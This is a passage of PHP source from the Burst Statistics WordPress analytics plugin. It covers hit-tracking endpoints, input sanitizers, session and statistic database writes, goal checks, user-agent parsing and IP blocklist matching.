		}

		if ( burst_is_ip_blocked() ) {
			http_response_code( 200 );

			return 'ip blocked';
		}

		$data = json_decode( json_decode( $request, true ), true ); // The data is encoded in JSON and decoded twice to get the array.
		burst_track_hit( $data );
		http_response_code( 200 );

		return 'success';
	}
}

if ( ! function_exists( 'burst_rest_track_hit' ) ) {
	/**
	 * Burst Statistics rest_api endpoint for collecting hits
	 *
	 * @param WP_REST_Request $request
	 *
	 * @return WP_REST_Response
	 */
	function burst_rest_track_hit( WP_REST_Request $request ): WP_REST_Response {
		if ( burst_is_ip_blocked() ) {
			$status_code = WP_DEBUG ? 202 : 200;

			return new WP_REST_Response( 'Burst Statistics: Your IP is blocked from tracking.', $status_code );
		}
		$data = json_decode( $request->get_json_params(), true );
		if ( isset( $data['request'] ) && $data['request'] === 'test' ) {
			return new WP_REST_Response( array( 'success' => 'test' ), 200 );
		}
		burst_track_hit( $data );

		return new WP_REST_Response( array( 'success' => 'hit_tracked' ), 200 );
	}
}

if ( ! function_exists( 'burst_prepare_tracking_data' ) ) {
	function burst_prepare_tracking_data( $data ) {
		$user_agent_data         = isset( $data['user_agent'] ) ? burst_get_user_agent_data( $data['user_agent'] ) : array(
			'browser'         => '',
			'browser_version' => '',
			'platform'        => '',
			'device'          => '',
		);
		$defaults                = array(
			'url'               => null,
			'page_id'           => null,
			'time'              => null,
			'uid'               => null,
			'fingerprint'       => null,
			'referrer_url'      => null,
			'user_agent'        => null,
			'device_resolution' => null,
			'time_on_page'      => null,
			'completed_goals'   => null,
		);
		$data                    = wp_parse_args( $data, $defaults );
		$data['completed_goals'] = burst_sanitize_completed_goal_ids( $data['completed_goals'] );

		// update array
		$sanitized_data                      = array();
		$destructured_url         = burst_sanitize_url( $data['url'] );
		$sanitized_data['entire_page_url']   = $destructured_url['path'] . $destructured_url['parameters'] . $destructured_url['fragment']; // required
		$sanitized_data['page_url']          = $destructured_url['path']; // required
		$sanitized_data['parameters']        = $destructured_url['parameters'];
		$sanitized_data['fragment']          = $destructured_url['fragment'];
		$sanitized_data['page_id']           = burst_sanitize_page_id( $data['page_id'] ); // required
		$sanitized_data['uid']               = burst_sanitize_uid( $data['uid'] ); // required
		$sanitized_data['fingerprint']       = burst_sanitize_fingerprint( $data['fingerprint'] );
		$sanitized_data['referrer']          = burst_sanitize_referrer( $data['referrer_url'] );
		$sanitized_data['browser']           = $user_agent_data['browser']; // already sanitized
		$sanitized_data['browser_version']   = $user_agent_data['browser_version']; // already sanitized
		$sanitized_data['platform']          = $user_agent_data['platform']; // already sanitized
		$sanitized_data['device']            = $user_agent_data['device']; // already sanitized
		$sanitized_data['device_resolution'] = burst_sanitize_device_resolution( $data['device_resolution'] );
		$sanitized_data['time_on_page']      = burst_sanitize_time_on_page( $data['time_on_page'] );
		$sanitized_data['bounce']            = 1;

		return $sanitized_data;
	}
}
if (!function_exists('burst_get_hit_type')) {
	/**
	 * Determines if the current hit is an update or a create operation and retrieves the last row if applicable.
	 *
	 * @param array $data Data for the current hit.
	 * @return array|false Returns an array with 'hit_type' and 'last_row' if applicable, or false if conditions are not met.
	 */
	function burst_get_hit_type($data) {
		// Determine if it is an update hit based on the absence of certain data points
		$is_update_hit = empty($data['browser']) && empty($data['browser_version']) && empty($data['platform']) && empty($data['device']);

		// Attempt to get the last user statistic based on the presence or absence of certain conditions
		if ($is_update_hit) {
			// For an update hit, require matching uid, fingerprint, and entire_page_url
			$last_row = burst_get_last_user_statistic($data['uid'], $data['fingerprint'], $data['entire_page_url']);
		} else {
			// For a potential create hit, uid and fingerprint are sufficient
			$last_row = burst_get_last_user_statistic($data['uid'], $data['fingerprint']);
		}

		// Determine the appropriate action based on the result
		if ($last_row) {
			// A matching row exists, classify as update and return the last row
			$hit_type = $is_update_hit ? 'update' : 'create';
			return ['hit_type' => $hit_type, 'last_row' => $last_row];
		} elseif ($is_update_hit) {
			// No matching row exists for an update hit, indicating a data inconsistency or error
			return false; // Indicate failure to find a matching row for an update
		} else {
			// No row exists and it's not an update hit, classify as create with no last row
			return ['hit_type' => 'create', 'last_row' => null];
		}
	}
}


if ( ! function_exists( 'burst_sanitize_url' ) ) {
	/**
	 * @param $url
	 *
	 * @return array
	 */
	function burst_sanitize_url( $url ): array {
		$url_destructured = [
			'path'       => '',
			'parameters' => '',
			'fragment'   => '',
		];
		if ( ! function_exists( 'wp_kses_bad_protocol' ) ) {
			require_once( ABSPATH . '/wp-includes/kses.php' );
		}
		$sanitized_url = filter_var( $url, FILTER_SANITIZE_URL );
		// Validate the URL
		if ( ! filter_var( $sanitized_url, FILTER_VALIDATE_URL ) ) {
			return '';
		}
		if ( !function_exists('wp_parse_url')) {
			require_once( ABSPATH . '/wp-includes/http.php' );
		}
		$url = parse_url( esc_url_raw( $sanitized_url ) );

		// log if path, parameters or fragment are too long
		if ( strlen( $url['path'] ) > 255 ) {
			burst_error_log( 'URL path is too long: ' . $url['path']  . ' - Please report this to the plugin author.' );
		}
		if ( isset ( $url['query'] ) && strlen( $url['query'] ) > 255 ) {
			burst_error_log( 'URL parameters are too long: ' . $url['query'] .  ' - Please report this to the plugin author.' ) ;
		}
		if ( isset( $url['fragment'] ) && strlen( $url['fragment'] ) > 255 ) {
			burst_error_log( 'URL fragment is too long: ' . $url['fragment']  . ' - Please report this to the plugin author.' );
		}
		if ( isset( $url['host'] ) ) {
			$url_destructured['path']       = substr( trailingslashit( $url['path'] ), 0, 255 );
			$url_destructured['parameters'] = isset( $url['query'] ) ? substr( '?' . $url['query'], 0, 255 ) : '';
			$url_destructured['fragment']   = isset( $url['fragment'] ) ? substr( '#' . $url['fragment'], 0, 255 ) : '';
		}

		return $url_destructured;
	}
}

if ( ! function_exists( 'burst_sanitize_page_id' ) ) {
	/**
	 * Sanitize page_id
	 *
	 * @param string $page_id
	 *
	 * @return int
	 */
	function burst_sanitize_page_id( $page_id ) {

		return (int) $page_id > 0 ? (int) $page_id : 0;
	}
}

if ( ! function_exists( 'burst_sanitize_time' ) ) {
	/**
	 * Sanitize time
	 *
	 * @param $time
	 *
	 * @return int
	 */
	function burst_sanitize_time( $time ): int {
		return (int) $time;
	}
}

if ( ! function_exists( 'burst_sanitize_uid' ) ) {
	/**
	 * Sanitize uid
	 *
	 * @param $uid
	 *
	 * @return string|false
	 */
	function burst_sanitize_uid( $uid ) {
		if ( ! $uid || ! preg_match( '/^[a-z0-9-]*/', $uid ) ) {
			return false;
		}

		return $uid;
	}
}

if ( ! function_exists( 'burst_sanitize_fingerprint' ) ) {
	/**
	 * Sanitize fingerprint
	 *
	 * @param $fingerprint
	 *
	 * @return false|string
	 */
	function burst_sanitize_fingerprint( $fingerprint ) {
		if ( ! $fingerprint || ! preg_match( '/^[a-z0-9-]*/', $fingerprint ) ) {
			return false;
		}

		return 'f-' . $fingerprint;
	}
}

if ( ! function_exists( 'burst_sanitize_referrer' ) ) {
	/**
	 * Sanitize referrer
	 *
	 * @param $referrer
	 *
	 * @return string|null
	 */
	function burst_sanitize_referrer( $referrer ): ?string {
		if ( ! defined( 'burst_path' ) ) {
			define( 'burst_path', plugin_dir_path( __FILE__ ) . '../' );
		}
		$referrer      = filter_var( $referrer, FILTER_SANITIZE_URL );
		$referrer_host = parse_url( $referrer, PHP_URL_HOST );
		$current_host  = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'];
		// don't track if referrer is the same as current host
		// if referrer_url starts with current_host, then it is not a referrer
		if ( empty( $referrer_host ) || strpos( $referrer_host, $current_host ) === 0 ) {
			return null;
		}

		$ref_spam_list = file( burst_path . 'helpers/referrer-spam-list/spammers.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES );
		$ref_spam_list = apply_filters( 'burst_referrer_spam_list', $ref_spam_list );
		if ( array_search( $referrer_host, $ref_spam_list ) ) {
			return 'spammer';
		}
		if ( ! function_exists( 'wp_kses_bad_protocol' ) ) {
			require_once( ABSPATH . '/wp-includes/kses.php' );
		}

		return $referrer ? trailingslashit( esc_url_raw( $referrer ) ) : null;
	}
}

if ( ! function_exists( 'burst_sanitize_device_resolution' ) ) {
	/**
	 * Sanitize device resolution
	 *
	 * @param $device_resolution
	 *
	 * @return string
	 */
	function burst_sanitize_device_resolution( $device_resolution ): string {
		return sanitize_text_field( filter_var( $device_resolution, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW ) );
	}
}

if ( ! function_exists( 'burst_sanitize_time_on_page' ) ) {
	/**
	 * Sanitize time on page
	 *
	 * @param $time_on_page
	 *
	 * @return int
	 */
	function burst_sanitize_time_on_page( $time_on_page ): int {

		return (int) $time_on_page;
	}
}
if ( ! function_exists( 'burst_sanitize_first_time_visit' ) ) {
	/**
	 * Sanitize first time visit
	 *
	 * @param $first_time_visit
	 *
	 * @return bool
	 */
	function burst_sanitize_first_time_visit( $first_time_visit ): bool {
		return $first_time_visit === 1;
	}
}

if ( ! function_exists( 'burst_sanitize_completed_goal_ids' ) ) {
	/**
	 * Sanitize completed goals
	 *
	 * @param $completed_goals
	 *
	 * @return string
	 */
	function burst_sanitize_completed_goal_ids( $completed_goals ) {
		if ( ! is_array( $completed_goals ) ) {
			return [];
		}
		$completed_goals = array_intersect( $completed_goals, burst_get_active_goals_ids() ); // only keep active goals ids
		$completed_goals = array_unique( $completed_goals ); // remove duplicates
		$completed_goals = array_map( 'absint', $completed_goals ); // make sure all values are integers

		return $completed_goals;
	}
}

if ( ! function_exists( 'burst_get_active_goals' ) ) {
	/**
	 * @param $server_side
	 *
	 * @return array[]
	 */
	function burst_get_active_goals( $server_side = false ) {
		global $wpdb;
		$server_side  = $server_side ? "AND server_side = 1" : "AND server_side = 0";
		$goals        = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}burst_goals WHERE status = 'active' {$server_side}", ARRAY_A );
		return $goals;
	}
}

if ( ! function_exists( 'burst_get_goals_script_url' ) ) {
	/**
	 * @return string
	 */
	function burst_get_goals_script_url() {
		return apply_filters( 'burst_goals_script_url', burst_url . '/assets/js/build/burst-goals.js?v=' . burst_version );
	}
}

if ( ! function_exists( 'burst_get_active_goals_ids' ) ) {
	/**
	 * @param $server_side
	 *
	 * @return array
	 */
	function burst_get_active_goals_ids( $server_side = false ) {
		$active_goals     = burst_get_active_goals( $server_side );
		return wp_list_pluck($active_goals, 'ID' );
	}
}

if ( ! function_exists( 'burst_goal_is_completed' ) ) {
	/**
	 * Checks if a specified goal is completed based on the provided page URL.
	 *
	 * @param int $goal_id The ID of the goal to check.
	 * @param string $page_url The current page URL.
	 * @return bool Returns true if the goal is completed, false otherwise.
	 */
	function burst_goal_is_completed( $goal_id, $page_url ) {
		require_once burst_path . 'goals/class-goal.php';

		$goal = new burst_goal( $goal_id );

		// Check if the goal and page URL are properly set.
		if ( empty( $goal->type ) || empty( $goal->url ) || empty( $page_url ) ) {
			return false;
		}

		switch ( $goal->type ) {
			case 'visits':
				// Improved URL comparison logic could go here.
				// @TODO: Maybe add support for * and ? wildcards?
				if ( rtrim($page_url, '/') === rtrim($goal->url, '/') ) {
					return true;
				}
				break;
			// @todo Add more case statements for other types of goals.

			default:
				return false;
		}

		return false;
	}
}


if ( ! function_exists( 'burst_get_completed_goals' ) ) {
	/**
	 * @param $completed_client_goals
	 * @param $page_url
	 *
	 * @return mixed
	 */
	function burst_get_completed_goals( $completed_client_goals, $page_url ) {
		$completed_server_goals = [];
		$server_goals           = burst_get_active_goals( true );
		// if server side goals exist
		if ( $server_goals ) {
			// loop through server side goals
			foreach ( $server_goals as $goal ) {
				// if goal is completed
				if ( burst_goal_is_completed( $goal['ID'], $page_url ) ) {
					// add goal id to completed goals array
					$completed_server_goals[] = $goal['ID'];
				}
			}
		}

		return array_merge( $completed_client_goals, $completed_server_goals ); // merge completed client goals and completed server goals
	}
}

if ( ! function_exists( 'burst_get_user_agent_data' ) ) {
	/**
	 * Get user agent data
	 *
	 * @param $user_agent
	 *
	 * @return null[]|string[]
	 */
	function burst_get_user_agent_data( $user_agent ): array {
		$defaults = array(
			'browser'         => '',
			'browser_version' => '',
			'platform'        => '',
			'device'          => '',
		);
		if ( $user_agent == '' ) {
			return $defaults;
		}

		$ua = parse_user_agent( $user_agent );

		switch ( $ua['platform'] ) {
			case 'Macintosh':
			case 'Chrome OS':
			case 'Linux':
			case 'Windows':
				$ua['device'] = 'desktop';
				break;
			case 'Android':
			case 'BlackBerry':
			case 'iPhone':
			case 'Windows Phone':
			case 'Sailfish':
			case 'Symbian':
			case 'Tizen':
				$ua['device'] = 'mobile';
				break;
			case 'iPad':
				$ua['device'] = 'tablet';
				break;
			case 'PlayStation 3':
			case 'PlayStation 4':
			case 'PlayStation 5':
			case 'PlayStation Vita':
			case 'Xbox':
			case 'Xbox One':
			case 'New Nintendo 3DS':
			case 'Nintendo 3DS':
			case 'Nintendo DS':
			case 'Nintendo Switch':
			case 'Nintendo Wii':
			case 'Nintendo WiiU':
			case 'iPod':
			case 'Kindle':
			case 'Kindle Fire':
			case 'NetBSD':
			case 'OpenBSD':
			case 'PlayBook':
			case 'FreeBSD':
			default:
				$ua['device'] = 'other';
				break;
		}

		// change version to browser_version
		$ua['browser_version'] = $ua['version'];
		unset( $ua['version'] );

		return wp_parse_args( $ua, $defaults );
	}
}

if ( ! function_exists( 'burst_get_first_time_visit' ) ) {
	/**
	 * Get first time visit
	 *
	 * @param $burst_uid
	 *
	 * @return int
	 */
	function burst_get_first_time_visit( $burst_uid ): int {
		global $wpdb;
		// Check if uid is already in the database in the past 30 days for a different sessions_id
		$after_time         = time() - MONTH_IN_SECONDS;
		$sql                = $wpdb->prepare(
			"SELECT EXISTS(SELECT 1 FROM {$wpdb->prefix}burst_statistics WHERE uid = %s AND time > %s LIMIT 1)",
			$burst_uid,
			$after_time
		);
		$fingerprint_exists = $wpdb->get_var( $sql );

		return $fingerprint_exists ? 0 : 1;
	}
}

if ( ! function_exists( 'burst_get_last_user_statistic' ) ) {
	/**
	 * Get last user statistic from {prefix}_burst_statistics
	 *
	 * @param $uid
	 * @param $fingerprint
	 *
	 * @return null[]
	 */
	function burst_get_last_user_statistic( $uid, $fingerprint, $page_url = false ) {
		global $wpdb;
		// if fingerprint is send get the last user statistic with the same fingerprint
		$search_uid = $fingerprint ?: $uid;
		if ( ! $search_uid ) {
			return null;
		}
		$where = $page_url ? $wpdb->prepare( " AND entire_page_url = %s", $page_url ) : '';
		$data  = $wpdb->get_row(
			$wpdb->prepare(
				"select ID, session_id, entire_page_url, time_on_page, bounce
      from {$wpdb->prefix}burst_statistics
                     where uid = %s AND time > %s {$where} ORDER BY ID DESC limit 1",
				$search_uid,
				strtotime( "-30 minutes" )
			)
		);
		return $data ? (array) $data : null;
	}
}

if ( ! function_exists( 'burst_create_session' ) ) {
	/**
	 * Create session in {prefix}_burst_sessions
	 *
	 * @param $user_id
	 *
	 * @return bool
	 */
	function burst_create_session( $data ) {
		global $wpdb;
		$data = burst_remove_empty_values( $data );
		$wpdb->insert(
			$wpdb->prefix . 'burst_sessions',
			$data
		);

		return $wpdb->insert_id;
	}
}

if (!function_exists('burst_update_session')) {
	/**
	 * Update session in {prefix}_burst_sessions
	 *
	 * @param int|string $session_id The session ID to update.
	 * @param array $data Data to update in the session.
	 *
	 * @return bool|int False if the operation failed, or the number of rows affected.
	 */
	function burst_update_session($session_id, $data) {
		global $wpdb;

		// Remove empty values from the data array
		$data = burst_remove_empty_values($data);

		// Perform the update operation
		$result = $wpdb->update(
			$wpdb->prefix . 'burst_sessions',
			$data,
			['ID' => (int)$session_id]
		);

		// Return the number of rows affected
		return $result !== false;
	}
}

if (!function_exists('burst_create_statistic')) {
	/**
	 * Create a statistic in {prefix}_burst_statistics
	 *
	 * @param array $data Data to insert.
	 * @return int|false The newly created statistic ID on success, or false on failure.
	 */
	function burst_create_statistic($data) {
		global $wpdb;
		$data = burst_remove_empty_values($data);

		if (!burst_required_values_set($data)) {
			burst_error_log('Missing required values for statistic creation. Data: ' . print_r($data, true));
			return false;
		}

		$inserted = $wpdb->insert($wpdb->prefix . 'burst_statistics', $data);

		if ($inserted) {
			return $wpdb->insert_id;
		} else {
			burst_error_log('Failed to create statistic. Error: ' . $wpdb->last_error);
			return false;
		}
	}
}
if (!function_exists('burst_update_statistic')) {
	/**
	 * Update a statistic in {prefix}_burst_statistics
	 *
	 * @param array $data Data to update, must include 'ID' for the statistic.
	 * @return bool|int The number of rows updated, or false on failure.
	 */
	function burst_update_statistic($data) {
		global $wpdb;
		$data = burst_remove_empty_values($data);

		// Ensure 'ID' is present for update
		if (!isset($data['ID'])) {
			burst_error_log('Missing ID for statistic update. Data: ' . print_r($data, true));
			return false;
		}

		// 'page_id' should not be updated; ensure it's not included in $data
		unset($data['page_id']);

		$updated = $wpdb->update($wpdb->prefix . 'burst_statistics', $data, ['ID' => (int) $data['ID']]);

		if ($updated === false) {
			burst_error_log('Failed to update statistic. Error: ' . $wpdb->last_error);
			return false;
		}

		return $updated; // Number of rows affected
	}
}

if ( ! function_exists( 'burst_create_goal_statistic' ) ) {
	/**
	 * Create goal statistic in {prefix}_burst_goal_statistics
	 *
	 * @param $data
	 *
	 * @return void
	 */
	function burst_create_goal_statistic( $data ) {
		global $wpdb;
		// do not create goal statistic if statistic_id or goal_id is not set
		if ( ! isset( $data['statistic_id'] ) || ! isset( $data['goal_id'] ) ) {
			return;
		}
		// first get row with same statistics_id and goal_id
		// check if goals already exists
		$goal_exists = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT 1 FROM {$wpdb->prefix}burst_goal_statistics WHERE statistic_id = %d AND goal_id = %d LIMIT 1",
				$data['statistic_id'],
				$data['goal_id']
			)
		);

		// goal already exists
		if ( $goal_exists ) {
			return;
		}
		$wpdb->insert(
			$wpdb->prefix . 'burst_goal_statistics',
			$data
		);
	}
}

if ( ! function_exists('burst_set_bounce_for_session') ) {
	/**
	 * Sets the bounce flag to 0 for all hits within a session.
	 *
	 * @param string|int $session_id The ID of the session.
	 * @return bool True on success, false on failure.
	 */
	function burst_set_bounce_for_session($session_id){
		global $wpdb;

		// Prepare table name to ensure it's properly quoted
		$table_name = $wpdb->prefix . 'burst_statistics';

		// Update query
		$result = $wpdb->update(
			$table_name,
			['bounce' => 0], // data
			['session_id' => $session_id] // where
		);

		// Check for errors
		if ($result === false) {
			// Handle error, log it or take other actions
			burst_error_log('Error setting bounce to 0 for session ' . $session_id);
			return false;
		}

		return true;
	}
}

if ( ! function_exists( 'burst_remove_empty_values' ) ) {
	/**
	 * Remove null values from array
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	function burst_remove_empty_values( array $data ): array {
		foreach ( $data as $key => $value ) {
			if ( $value === null || $value === '' ) {
				unset( $data[ $key ] );
			}
		}

		return $data;
	}
}
if ( ! function_exists( 'burst_required_values_set' ) ) {
	/**
	 * Check if required values are set
	 *
	 * @param array $data
	 *
	 * @return bool
	 */
	function burst_required_values_set( array $data ): bool {
		return (
			isset( $data['uid'] ) &&
			isset( $data['page_url'] ) &&
			isset( $data['entire_page_url'] )
		);
	}
}

if ( ! function_exists( 'burst_get_blocked_ips' ) ) {
	/**
	 * Get a Burst option by name
	 *
	 * @param string $name
	 * @param mixed  $default
	 *
	 * @return string
	 */

	function burst_get_blocked_ips() {
		$name    = 'ip_blocklist';
		$options = get_option( 'burst_options_settings', [] );
		$value   = isset( $options[ $name ] ) ? $options[ $name ] : false;
		if ( $value === false ) {
			$value = '';
		}

		return $value;
	}
}

if ( ! function_exists( 'burst_is_ip_blocked' ) ) {
	/**
	 * Check if IP is blocked
	 *
	 * @return bool
	 */
	function burst_is_ip_blocked(): bool {
		$ip          = burst_get_ip_address();
		$blocked_ips = preg_split( '/\r\n|\r|\n/', burst_get_blocked_ips() ); // split by line break
		if ( is_array( $blocked_ips ) ) {
			$blocked_ips_array = array_map( 'trim', $blocked_ips );
			$ip_blocklist      = apply_filters( 'burst_ip_blocklist', $blocked_ips_array );
			foreach ($ip_blocklist as $ip_range) {
				if (burst_ip_in_range($ip, $ip_range)) {
					burst_error_log( 'IP ' . $ip . ' is blocked for tracking' );

					return true;
				}
			}
		}

		return false;
	}
}

if ( ! function_exists( 'burst_get_ip_address' ) ) {
	/**
	 * Get the ip of visiting user
	 * https://stackoverflow.com/questions/11452938/how-to-use-http-x-forwarded-for-properly
	 *
	 * @return string
	 */

	function burst_get_ip_address(): string {
		//least common types first
		$variables = array(
			'HTTP_CF_CONNECTING_IP',
			'CF-IPCountry',
			'HTTP_TRUE_CLIENT_IP',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_REAL_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		);

		foreach ( $variables as $variable ) {
			$current_ip = burst_is_real_ip( $variable );
			if ( $current_ip ) {
				break;
			}
		}

		//in some cases, multiple ip's get passed. split it to get just one.
		if ( strpos( $current_ip, ',' ) !== false ) {
			$ips        = explode( ',', $current_ip );
			$current_ip = $ips[0];
		}

		// for testing purposes @todo delete
		//		$current_ip = "128.101.101.101"; //US ip
		//		$current_ip = "94.214.200.105"; //EU ip
		//		$current_ip = '185.86.151.11'; // UK ip
		//		$current_ip = '45.44.129.152'; // CA ip
		//		$current_ip = "189.189.111.174"; //Mexico

		return apply_filters( "burst_visitor_ip", $current_ip );
	}
}

if ( ! function_exists( 'burst_is_real_ip' ) ) {
	/**
	 * Get ip from var, and check if the found ip is a valid one
	 *
	 * @param string $var
	 *
	 * @return false|string
	 */

	function burst_is_real_ip( $var ) {
		$ip = getenv( $var );

		return ! $ip || trim( $ip ) === '127.0.0.1' ? false : $ip;
	}
}

/**
 * Checks if a given IP address is within a specified IP range.
 *
 * This function supports both IPv4 and IPv6 addresses, and can handle ranges in
 * both standard notation (e.g. "192.0.2.0") and CIDR notation (e.g. "192.0.2.0/24").
 *
 * In CIDR notation, the function uses a bitmask to check if the IP address falls within
 * the range. For IPv4 addresses, it uses the `ip2long()` function to convert the IP
 * address and subnet to their integer representations, and then uses the bitmask to
 * compare them. For IPv6 addresses, it uses the `inet_pton()` function to convert the IP
 * address and subnet to their binary representations, and uses a similar bitmask approach.
 *
 * If the range is not in CIDR notation, it simply checks if the IP equals the range.
 *
 * @param  string $ip  The IP address to check.
 * @param  string $range  The range to check the IP address against.
 *
 * @return bool True if the IP address is within the range, false otherwise.
 */
function burst_ip_in_range( string $ip, string $range ): bool {
	// Check if the IP address is properly formatted.
	if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6 ) ) {
		return false;
	}
	// Check if the range is in CIDR notation.
	if ( strpos( $range, '/' ) !== false ) {
		// The range is in CIDR notation, so we split it into the subnet and the bit count.
		[ $subnet, $bits ] = explode( '/', $range );

		if ( ! is_numeric( $bits ) || $bits < 0 || $bits > 128 ) {
			return false;
		}

		// Check if the subnet is a valid IPv4 address.
		if ( filter_var( $subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) {
			// Convert the IP address and subnet to their integer representations.
			$ip     = ip2long( $ip );
			$subnet = ip2long( $subnet );

			// Create a mask based on the number of bits.
			$mask = - 1 << ( 32 - $bits );

			// Apply the mask to the subnet.
			$subnet &= $mask;

			// Compare the masked IP address and subnet.
			return ( $ip & $mask ) === $subnet;
		}

		// Check if the subnet is a valid IPv6 address.
		if ( filter_var( $subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
			// Convert the IP address and subnet to their binary representations.
			$ip     = inet_pton( $ip );
			$subnet = inet_pton( $subnet );
			// Divide the number of bits by 8 to find the number of full bytes.
			$full_bytes = floor( $bits / 8 );
			// Find the number of remaining bits after the full bytes.
			$partial_byte = $bits % 8;
			// Initialize the mask.
			$mask = '';
			// Add the full bytes to the mask, each byte being "\xff" (255 in binary).
			$mask .= str_repeat( "\xff", $full_bytes );
			// If there are any remaining bits...
			if ( 0 !== $partial_byte ) {
				// Add a byte to the mask with the correct number of 1 bits.
				// First, create a string with the correct number of 1s.
				// Then, pad the string to 8 bits with 0s.
				// Convert the binary string to a decimal number.
				// Convert the decimal number to a character and add it to the mask.
				$mask .= chr( bindec( str_pad( str_repeat( '1', $partial_byte ), 8, '0' ) ) );
			}

			// Fill in the rest of the mask with "\x00" (0 in binary).
			// The total length of the mask should be 16 bytes, so subtract the number of bytes already added.
			// If we added a partial byte, we need to subtract 1 more from the number of bytes to add.
			$mask .= str_repeat( "\x00", 16 - $full_bytes - ( 0 !== $partial_byte ? 1 : 0 ) );

			// Compare the masked IP address and subnet.
			return ( $ip & $mask ) === $subnet;
		}

		// The subnet was not a valid IP address.
		return false;
	}

	if ( ! filter_var( $range, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6 ) ) {
		// The range was not in CIDR notation and was not a valid IP address.
		return false;
	}

	// The range is not in CIDR notation, so we simply check if the IP equals the range.
	return $ip === $range;
}